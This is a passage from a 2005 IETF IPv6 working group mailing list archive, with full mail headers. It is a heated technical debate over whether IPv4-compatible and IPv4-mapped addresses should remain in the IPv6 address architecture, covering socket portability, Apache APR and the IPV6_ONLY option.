all, then we essentially allow the same man-in-the-middle attacks that are also possible with ND proxy. -- Christian Huitema -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 2 02:56:47 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA12292 for ; Wed, 2 Feb 2005 02:56:47 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwFft-0007BN-EH for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 03:15:45 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwFGO-0001mU-HW; Wed, 02 Feb 2005 02:49:24 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwFEI-0001GQ-7k for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 02:47:18 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA11231 for ; Wed, 2 Feb 2005 02:47:12 -0500 (EST) Received: from mgw-x3.nokia.com ([131.228.20.26]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwFWa-0006x6-Qs for ipv6@ietf.org; Wed, 02 Feb 2005 03:06:10 -0500 Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159]) by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j127l7J11332; Wed, 2 Feb 2005 09:47:08 +0200 (EET) X-Scanned: Wed, 2 Feb 2005 09:46:52 +0200 Nokia Message Protector V1.3.34 2004121512 - RELEASE Received: (from root@localhost) by esdks004.ntc.nokia.com (8.12.9/8.12.9) id j127kqkA024642; Wed, 2 Feb 2005 09:46:52 +0200 Received: from mgw-int2.ntc.nokia.com (172.21.143.97) by esdks004.ntc.nokia.com 00A9ZaPG; Wed, 02 Feb 2005 09:46:49 EET Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82]) by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j127knx08528; Wed, 2 Feb 2005 09:46:49 +0200 (EET) Received: from l5131412.nokia.com ([172.17.194.29]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881); Wed, 2 Feb 2005 09:45:57 +0200 Message-Id: <6.1.2.0.2.20050201234156.01f33ec0@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 6.1.2.0 Date: Tue, 01 Feb 2005 23:45:55 -0800 To: Pekka Savola From: Bob Hinden In-Reply-To: References: <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> <6.1.2.0.2.20050201032232.02f44e90@mailhost.iprg.nokia.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-OriginalArrivalTime: 02 Feb 2005 07:45:57.0341 (UTC) FILETIME=[3B3A30D0:01C508FB] X-Spam-Score: 0.0 (/) X-Scan-Signature: d6b246023072368de71562c0ab503126 Cc: IPv6 WG Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 9182cfff02fae4f1b6e9349e01d62f32 Pekka, At 07:39 AM 02/01/2005, Pekka Savola wrote: >On Tue, 1 Feb 2005, Bob Hinden wrote: >>My take of this is that they should remain in the IPv6 address >>architecture. There is current usage and removing them would break other >>specifications. > >I would agree with that conclusion for mapped addresses, but I have heard >NO ONE explicitly saying anything about the usefulness of compatible addresses. With the email received after yours, I think it is clear there is not a consensus to remove either the IPv4 compatible or mapped addresses from the IPv6 address architecture. I think your email helped to clarify this. Thanks, Bob -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 2 03:08:21 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA13584 for ; Wed, 2 Feb 2005 03:08:21 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwFr5-0007Uz-IG for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 03:27:19 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwFXG-0005gX-61; Wed, 02 Feb 2005 03:06:50 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwFVZ-0005Kh-Nr for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 03:05:06 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA13276 for ; Wed, 2 Feb 2005 03:05:02 -0500 (EST) Received: from noc.sixxs.net ([213.197.29.32] ident=postfix) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwFnr-0007QZ-Rz for ipv6@ietf.org; Wed, 02 Feb 2005 03:24:00 -0500 Received: from localhost (localhost [127.0.0.1]) by noc.sixxs.net (Postfix) with ESMTP id EDCD124029; Wed, 2 Feb 2005 09:04:58 +0100 (CET) Received: from noc.sixxs.net ([127.0.0.1]) by localhost (noc [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 29374-08; Wed, 2 Feb 2005 09:04:58 +0100 (CET) Received: from firenze.zurich.ibm.com (pat.zurich.ibm.com [195.176.20.45]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by noc.sixxs.net (Postfix) with ESMTP id 4B03F2401C; Wed, 2 Feb 2005 09:04:58 +0100 (CET) From: Jeroen Massar To: "Bound, Jim" In-Reply-To: <9C422444DE99BC46B3AD3C6EAFC9711B084F9FD2@tayexc13.americas.cpqcorp.net> References: <9C422444DE99BC46B3AD3C6EAFC9711B084F9FD2@tayexc13.americas.cpqcorp.net> Organization: Unfix Date: Wed, 02 Feb 2005 09:04:56 +0100 Message-Id: <1107331496.8103.8.camel@firenze.zurich.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-6) X-Virus-Scanned: noc.sixxs.net - http://www.sixxs.net X-Spam-Score: 0.0 (/) X-Scan-Signature: 00e94c813bef7832af255170dca19e36 Cc: IPv6 WG Subject: RE: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1729162931==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 5011df3e2a27abcc044eaa15befcaa87 --===============1729162931== Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-ozY2r+Xx0M3xLxl/M1H7" --=-ozY2r+Xx0M3xLxl/M1H7 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Tue, 2005-02-01 at 23:25 -0500, Bound, Jim wrote: > I am not going to dive in here and increase my responses on this thread > and eat up my limited messages I will bombard this list with ok, > supporting the mail model less mail is better and keeping low on Rob's > messages list each week. Better waste less bandwidth with the above and send a bit more messages ;) > But, besides v4mapped being widely deployed on > "vendor" "production" shipping code bases, used today by applications, Please name these 'vendor's and 'applications' I am quite sure if you ask them that they think it should be removed if they have made to try the code run on more than a single platform. > believe v4mapped is a very useful and elegant solution for application > providers to provide a common binary v4+v6 solution as an option > "technically" and superior to not using it. Please look at the Apache2 APR code which demonstrates how 'elegant' this solution is because it is not default. > I emphatically disagree > with Itojun, cmetz, et al referenced and we had this debate many years > ago, then again had the debate, and that view lost and we should not > revisit it again. You mean some people shoved the arguments away without having any background in the subject? > No one has to implement a port to IPv6 or a new > application with v4mapped addresses. It is merely an option that is > available to a programmer and upto them and it is available on > production platforms today. The production platforms mostly use KAME stacks, the other is Windows. Guess what both of these platform don't have, at least turned on per default: ipv4-mapped. Please name the platforms you call 'production'. > Mark Andrews point is quite valid and that is the responsibility of each > implementation to document their use of v4mapped, and out of scope for > the IETF as that is an implementation manner. Whether it is useful to > document various behaviors (INFO, BCP) is not clear to me that is > necesary and see UNIX Network Programming Volume I Third Edition.=20 Which nicely mentions the use of getaddrinfo() and separately doing :: and 0.0.0.0 with IPV6_ONLY sockets because of the inherit issues mentioned by Itojun. Greets, Jeroen --=-ozY2r+Xx0M3xLxl/M1H7 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) Comment: Jeroen Massar / http://unfix.org/~jeroen/ iD8DBQBCAImoKaooUjM+fCMRAruuAJ45qnqEntkeHp4tOOZbDzzudJSdOQCeJ00p iTjWtlhLuVqU/TiCfiN2X7U= =T+qP -----END PGP SIGNATURE----- --=-ozY2r+Xx0M3xLxl/M1H7-- --===============1729162931== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============1729162931==-- From ipv6-bounces@ietf.org Wed Feb 2 03:53:04 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA17540 for ; Wed, 2 Feb 2005 03:53:03 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwGYL-0000DC-KG for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 04:12:02 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwGBP-0005io-8p; Wed, 02 Feb 2005 03:48:19 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwG8t-00059n-2U for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 03:45:44 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA16819 for ; Wed, 2 Feb 2005 03:45:40 -0500 (EST) Received: from zmamail05.zma.compaq.com ([161.114.64.105]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwGRC-0008Sr-UV for ipv6@ietf.org; Wed, 02 Feb 2005 04:04:39 -0500 Received: from tayexg11.americas.cpqcorp.net (tayexg11.americas.cpqcorp.net [16.103.130.186]) by zmamail05.zma.compaq.com (Postfix) with ESMTP id 32E7F1F47; Wed, 2 Feb 2005 03:45:11 -0500 (EST) Received: from tayexc13.americas.cpqcorp.net ([16.103.130.26]) by tayexg11.americas.cpqcorp.net with Microsoft SMTPSVC(6.0.3790.211); Wed, 2 Feb 2005 03:45:11 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable Date: Wed, 2 Feb 2005 03:45:16 -0500 Message-ID: <9C422444DE99BC46B3AD3C6EAFC9711B084F9FF7@tayexc13.americas.cpqcorp.net> Thread-Topic: IPv6 Address Architecture update question Thread-Index: AcUI/ej4oW6o78FUTnq2h033mm64yQAAQpyg From: "Bound, Jim" To: "Jeroen Massar" X-OriginalArrivalTime: 02 Feb 2005 08:45:11.0031 (UTC) FILETIME=[81644070:01C50903] X-Spam-Score: 0.0 (/) X-Scan-Signature: 1676547e4f33b5e63227e9c02bd359e3 Content-Transfer-Encoding: quoted-printable Cc: IPv6 WG Subject: RE: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 6ffdee8af20de249c24731d8414917d3 Content-Transfer-Encoding: quoted-printable =20 > On Tue, 2005-02-01 at 23:25 -0500, Bound, Jim wrote: > > I am not going to dive in here and increase my responses on this=20 > > thread and eat up my limited messages I will bombard this list with=20 > > ok, supporting the mail model less mail is better and=20 > keeping low on=20 > > Rob's messages list each week. >=20 > Better waste less bandwidth with the above and send a bit=20 > more messages ;) OK one more. This suggestion does not have consenus as Bob stated thus my last email on this one. >=20 > > But, besides v4mapped being widely deployed on "vendor"=20 > "production"=20 > > shipping code bases, used today by applications, >=20 > Please name these 'vendor's and 'applications' I am quite=20 > sure if you ask them that they think it should be removed if=20 > they have made to try the code run on more than a single platform. I will not name applications but HP, IBM, Sun, and vendors who productize Linux and FreeBSD to name a few. V4-mapped addresses are part of the POSIX standards as stated in the Literature reference below. >=20 > > believe v4mapped is a very useful and elegant solution for=20 > application=20 > > providers to provide a common binary v4+v6 solution as an option=20 > > "technically" and superior to not using it. >=20 > Please look at the Apache2 APR code which demonstrates how 'elegant' > this solution is because it is not default. The default is up to the software developer Netscape chose differently. It is a choice in the standard. >=20 > > I emphatically disagree > > with Itojun, cmetz, et al referenced and we had this debate=20 > many years=20 > > ago, then again had the debate, and that view lost and we=20 > should not=20 > > revisit it again. >=20 > You mean some people shoved the arguments away without having=20 > any background in the subject? That is a baldface indirect lie, and slander in the form of a question to the team that worked on this for a long time, and you were not in those conversations or on the api-list or part of the team, which was where the in depth technical debate took place. Now that you have decided to question the honor of the team that worked on this discussion, and I was part of that team, I suggest you and I take this offline in person face to face if you happen to be in Minneapolis around March 6-9. I will look forward to it unless you can only dishonor persons behind an indirect email message and don't have the guts to do it in person? >=20 > > No one has to implement a port to IPv6 or a new application with=20 > > v4mapped addresses. It is merely an option that is available to a=20 > > programmer and upto them and it is available on production=20 > platforms=20 > > today. >=20 > The production platforms mostly use KAME stacks, the other is Windows. KAME is one version and view of FreeBSD. I have no response regarding what Windows supports or does not support. > Guess what both of these platform don't have, at least turned on per > default: ipv4-mapped. That is fine and not the point of this discussion. The point of this discussion is to continue to support the ability to use v4-mapped addresses. That I believe has consensus. >=20 > Please name the platforms you call 'production'. Did above your repeating yourself. >=20 > > Mark Andrews point is quite valid and that is the responsibility of=20 > > each implementation to document their use of v4mapped, and out of=20 > > scope for the IETF as that is an implementation manner. =20 > Whether it is=20 > > useful to document various behaviors (INFO, BCP) is not clear to me=20 > > that is necesary and see UNIX Network Programming Volume I=20 > Third Edition. >=20 > Which nicely mentions the use of getaddrinfo() and separately doing :: > and 0.0.0.0 with IPV6_ONLY sockets because of the inherit=20 > issues mentioned by Itojun. Give me a break Jeroen. Read pp's 315 and on; the authors presented all cases and v4-mapped is in the tables and it provides an unbiased view presenting both solutions, I saw preliminary versions of this section before it was published from one of the reviewers and I recall then it was an unbiased version as was the Second Edition (minus the new IPv6-ONLY option). The compromise we defined in the API is to support IPv6-ONLY option there is no problem here at all. I see no point of further responses to this email it has all been discussed before, and the bogus accusations like the one you made above too. /jim >=20 > Greets, > Jeroen >=20 >=20 -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 2 04:51:47 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA23517 for ; Wed, 2 Feb 2005 04:51:47 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwHTD-0001eH-4Y for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 05:10:47 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwH4c-0000SE-5n; Wed, 02 Feb 2005 04:45:22 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwH2X-0008MM-On for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 04:43:14 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA22663 for ; Wed, 2 Feb 2005 04:43:10 -0500 (EST) Received: from noc.sixxs.net ([213.197.29.32] ident=postfix) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwHKo-0001SV-Sr for ipv6@ietf.org; Wed, 02 Feb 2005 05:02:09 -0500 Received: from localhost (localhost [127.0.0.1]) by noc.sixxs.net (Postfix) with ESMTP id 0D09E24029; Wed, 2 Feb 2005 10:43:01 +0100 (CET) Received: from noc.sixxs.net ([127.0.0.1]) by localhost (noc [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 00346-01; Wed, 2 Feb 2005 10:42:52 +0100 (CET) Received: from firenze.zurich.ibm.com (pat.zurich.ibm.com [195.176.20.45]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by noc.sixxs.net (Postfix) with ESMTP id 2C7702400D; Wed, 2 Feb 2005 10:41:19 +0100 (CET) From: Jeroen Massar To: "Bound, Jim" In-Reply-To: <9C422444DE99BC46B3AD3C6EAFC9711B084F9FF7@tayexc13.americas.cpqcorp.net> References: <9C422444DE99BC46B3AD3C6EAFC9711B084F9FF7@tayexc13.americas.cpqcorp.net> Organization: Unfix Date: Wed, 02 Feb 2005 10:41:08 +0100 Message-Id: <1107337268.8103.79.camel@firenze.zurich.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-6) X-Virus-Scanned: noc.sixxs.net - http://www.sixxs.net X-Spam-Score: 0.0 (/) X-Scan-Signature: f0b5a4216bfa030ed8a6f68d1833f8ae Cc: IPv6 WG Subject: RE: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1065085018==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 681e62a2ce9b0804b459fe780d892beb --===============1065085018== Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-qfb9QLN8ZhnZLBgSzXUN" --=-qfb9QLN8ZhnZLBgSzXUN Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Wed, 2005-02-02 at 03:45 -0500, Bound, Jim wrote: > > On Tue, 2005-02-01 at 23:25 -0500, Bound, Jim wrote: > > > But, besides v4mapped being widely deployed on "vendor"=20 > > "production"=20 > > > shipping code bases, used today by applications, > >=20 > > Please name these 'vendor's and 'applications' I am quite=20 > > sure if you ask them that they think it should be removed if=20 > > they have made to try the code run on more than a single platform. >=20 > I will not name applications but HP, IBM, Sun, and vendors who > productize Linux and FreeBSD to name a few. V4-mapped addresses are part > of the POSIX standards as stated in the Literature reference below. As mentioned Linux is still the only to support v4-mapped addresses, that is that it is active per default. There is a toggle to turn it off. OpenBSD doesn't support it at all and NetBSD and FreeBSD only after toggling a sysctl setting. I had actually hoped that you identified the applications that you where mentioning as then we could ask the developers if they supported more than one platform or just only on one where they knew what to expect. Please do an inquiry under the developers you know and ask them about their experiences with programming IPv6 capable services. The biggest 'fun' of programming a multi-platform application, good examples, as mentioned are Apache and Mozilla, is that you never know what the underlying platform is going to do. A large number of ifdef's weird cases doesn't make the code easier to develop nor deploy. It is indeed in POSIX, but why don't admit that it is a mistake to have it? I though that it was a great idea too, until the Windows implementation came out that does not and cannot support it due to it's separate stacks. And there are a number of other platforms who likely have the same issue, especially if programming in a modular way. We still have a chance IPv4 mapped to at least _deprecate_, that is what I mentioned in my other message, the usage of these addresses and to note that implementors should really be using separate sockets, which is also what getaddrinfo() tells one to do. Simply explaining to people, with a small note, that they should not use it because it will cause them many pains in several coding aspects, especially when porting it to other platforms. Socket API's=20 > > > believe v4mapped is a very useful and elegant solution for=20 > > application=20 > > > providers to provide a common binary v4+v6 solution as an option=20 > > > "technically" and superior to not using it. > >=20 > > Please look at the Apache2 APR code which demonstrates how 'elegant' > > this solution is because it is not default. >=20 > The default is up to the software developer Netscape chose differently. > It is a choice in the standard. What has Netscape to do with Apache? Or am I really missing something? Then again I don't follow corporate takeovers and such, got better things to do; Netscape do have some influence with Mozilla/Firefox et al, and they also had a lot of problems with this, they actually almost refused to do a Windows IPv6 version because they didn't understand the concept of a separate IPv6 and IPv4 socket. Also see: https://bugzilla.mozilla.org/show_bug.cgi?id=3D175340 Apache's APR has the same problem and shows how much work one has to do when supporting multiple Operating Systems. I just named the above as that is very common and readable code and most likely used by, hmm jup, HP, IBM and Sun as they all have some form of repackaged-Apache in their 'products'. Please do realize that many people do the part that is implemented in APR on their own, you want to to reinvent all those bugs and have them get all the trouble over and over? There are many more examples of code out on the internet that demonstrate that having the v4-mapped addresses only gives a lot of issues. You haven't named one application though that does not have it. > > > I emphatically disagree > > > with Itojun, cmetz, et al referenced and we had this debate=20 > > many years=20 > > > ago, then again had the debate, and that view lost and we=20 > > should not=20 > > > revisit it again. > >=20 > > You mean some people shoved the arguments away without having=20 > > any background in the subject? >=20 > That is a baldface indirect lie, and slander in the form of a question > to the team that worked on this for a long time, and you were not in > those conversations or on the api-list or part of the team, which was > where the in depth technical debate took place. Thanks for calling it a lie, any arguments to support it ? You mention yourself that the view was lost. Maybe time to refresh that view? Many policies get changed and reformed after they have been put to ground. Even RFC's get updated. Why is it not possible to do a good thing and update it now. IPv6 is not *that* deployed yet, there is still time to get it going in the correct direction. As some others have mentioned before, if these fundamental things are not tackled, the people doing IPv7 will soon be here and will be facing the same issues again, maybe they will get it right? > Now that you have decided to question the honor of the team that worked > on this discussion, and I was part of that team, I suggest you and I > take this offline in person face to face if you happen to be in > Minneapolis around March 6-9. I will look forward to it unless you can > only dishonor persons behind an indirect email message and don't have > the guts to do it in person? Unfortunately I am doing all of this in my spare time and as an individual, there are people who actually do this you know, otherwise I would tell you all of this face to face, but why offline actually, isn't the IETF a public organization? Oh, and you might not remember, but I already asked you a somewhat similar question before, "how many users are actually connected to your nice Internet2" when you where promoting that in Brussels last year, but then you didn't have time to answer the question either. I probably was not important enough for you. Not that I mind, many people have many other more important things to do and I am just a student with most of the time a little bit too big mouth stepping on peoples feet. As for the in person, anyone can easily validate that I wrote this message, there is a reason I PGP sign my emails. I have nothing to hide and I do completely stand behind my arguments. If you have an argument with me, which you do not want to publicly mention, you know my email address. > > > No one has to implement a port to IPv6 or a new application with=20 > > > v4mapped addresses. It is merely an option that is available to a=20 > > > programmer and upto them and it is available on production=20 > > platforms=20 > > > today. > >=20 > > The production platforms mostly use KAME stacks, the other is Windows. >=20 > KAME is one version and view of FreeBSD. I have no response regarding > what Windows supports or does not support. KAME is the IPv6 stack that FreeBSD has, unless I miss something, there is nothing else. Note that Linux also took a lot of KAME code into the mainstream kernel by means of the USAGI project. > > Guess what both of these platform don't have, at least turned on per > > default: ipv4-mapped. >=20 > That is fine and not the point of this discussion. The point of this > discussion is to continue to support the ability to use v4-mapped > addresses. That I believe has consensus. If you would count the number of people who sent a message and where in favor of dropping the support it really is in favor of dropping it. You cannot simply claim consensus because you would like to. > >=20 > > Please name the platforms you call 'production'. >=20 > Did above your repeating yourself. In case you would miss out on the question ;) > > > Mark Andrews point is quite valid and that is the responsibility of=20 > > > each implementation to document their use of v4mapped, and out of=20 > > > scope for the IETF as that is an implementation manner. =20 > > Whether it is=20 > > > useful to document various behaviors (INFO, BCP) is not clear to me=20 > > > that is necesary and see UNIX Network Programming Volume I=20 > > Third Edition. > >=20 > > Which nicely mentions the use of getaddrinfo() and separately doing :: > > and 0.0.0.0 with IPV6_ONLY sockets because of the inherit=20 > > issues mentioned by Itojun. >=20 > Give me a break Jeroen. I don't think I have the financial means to give you a good enough holiday, sorry, if I had I would give it to you :) > Read pp's 315 and on; the authors presented all > cases and v4-mapped is in the tables and it provides an unbiased view > presenting both solutions, I saw preliminary versions of this section > before it was published from one of the reviewers and I recall then it > was an unbiased version as was the Second Edition (minus the new > IPv6-ONLY option). Which is what I said above, they do discuss it, but they mention that one should use the IPV6-ONLY option. Thus why is it not possible to amend the text in a similar way? > The compromise we defined in the API is to support IPv6-ONLY option > there is no problem here at all. Then why not simply additionally add "please use IPV6-ONLY as there are many drawbacks when wanting to stay portable across different platforms" ? > I see no point of further responses to this email it has all been > discussed before, and the bogus accusations like the one you made above > too. Thank you again for mentioning that I make 'bogus accusations'. Ignoring is of course the best option in those cases where you don't want to make a case for your arguments. And indeed I mentioned three times or so that simply noting that using v4-mapped, or better said using getaddrinfo() without IPV6-ONLY causes a lot of problems. A tiny amendment would solve my argument. If you think that I am being hostile, then please take the break, you'll then need it for sure. Greets, Jeroen --=-qfb9QLN8ZhnZLBgSzXUN Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) Comment: Jeroen Massar / http://unfix.org/~jeroen/ iD8DBQBCAKA0KaooUjM+fCMRAk6tAJ0Rv+UAT1p3nsL/AHTwv1OG8W+ZnQCdGXqb 2XGaEpxh7DbhNYhkkEcFjt4= =YMTa -----END PGP SIGNATURE----- --=-qfb9QLN8ZhnZLBgSzXUN-- --===============1065085018== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============1065085018==-- From ipv6-bounces@ietf.org Wed Feb 2 05:18:58 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA25987 for ; Wed, 2 Feb 2005 05:18:58 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwHtW-0002Mp-NW for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 05:37:58 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwHWL-00079V-Pq; Wed, 02 Feb 2005 05:14:01 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwHVL-0006fu-M1 for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 05:13:00 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA25506 for ; Wed, 2 Feb 2005 05:12:56 -0500 (EST) Received: from castlerea.stdlib.net ([80.68.89.152] ident=mail) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwHng-0002Cu-6o for ipv6@ietf.org; Wed, 02 Feb 2005 05:31:56 -0500 Received: from colmmacc by castlerea.stdlib.net with local (Exim 4.41) id 1CwHV4-0001UP-I8; Wed, 02 Feb 2005 10:12:42 +0000 Date: Wed, 2 Feb 2005 10:12:42 +0000 From: Colm MacCarthaigh To: Jeroen Massar Message-ID: <20050202101241.GA5353@castlerea.stdlib.net.> References: <9C422444DE99BC46B3AD3C6EAFC9711B084F9FF7@tayexc13.americas.cpqcorp.net> <1107337268.8103.79.camel@firenze.zurich.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline In-Reply-To: <1107337268.8103.79.camel@firenze.zurich.ibm.com> User-Agent: Mutt/1.3.28i X-Spam-Score: 0.0 (/) X-Scan-Signature: 0ddefe323dd869ab027dbfff7eff0465 Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by ietf.org id FAA25506 Cc: IPv6 WG , "Bound, Jim" Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: colm@stdlib.net List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 0a7aa2e6e558383d84476dc338324fab Content-Transfer-Encoding: quoted-printable On Wed, Feb 02, 2005 at 10:41:08AM +0100, Jeroen Massar wrote: > We still have a chance IPv4 mapped to at least _deprecate_, that is wha= t > I mentioned in my other message, the usage of these addresses and to > note that implementors should really be using separate sockets, which i= s > also what getaddrinfo() tells one to do. RFC3493 solves this by having 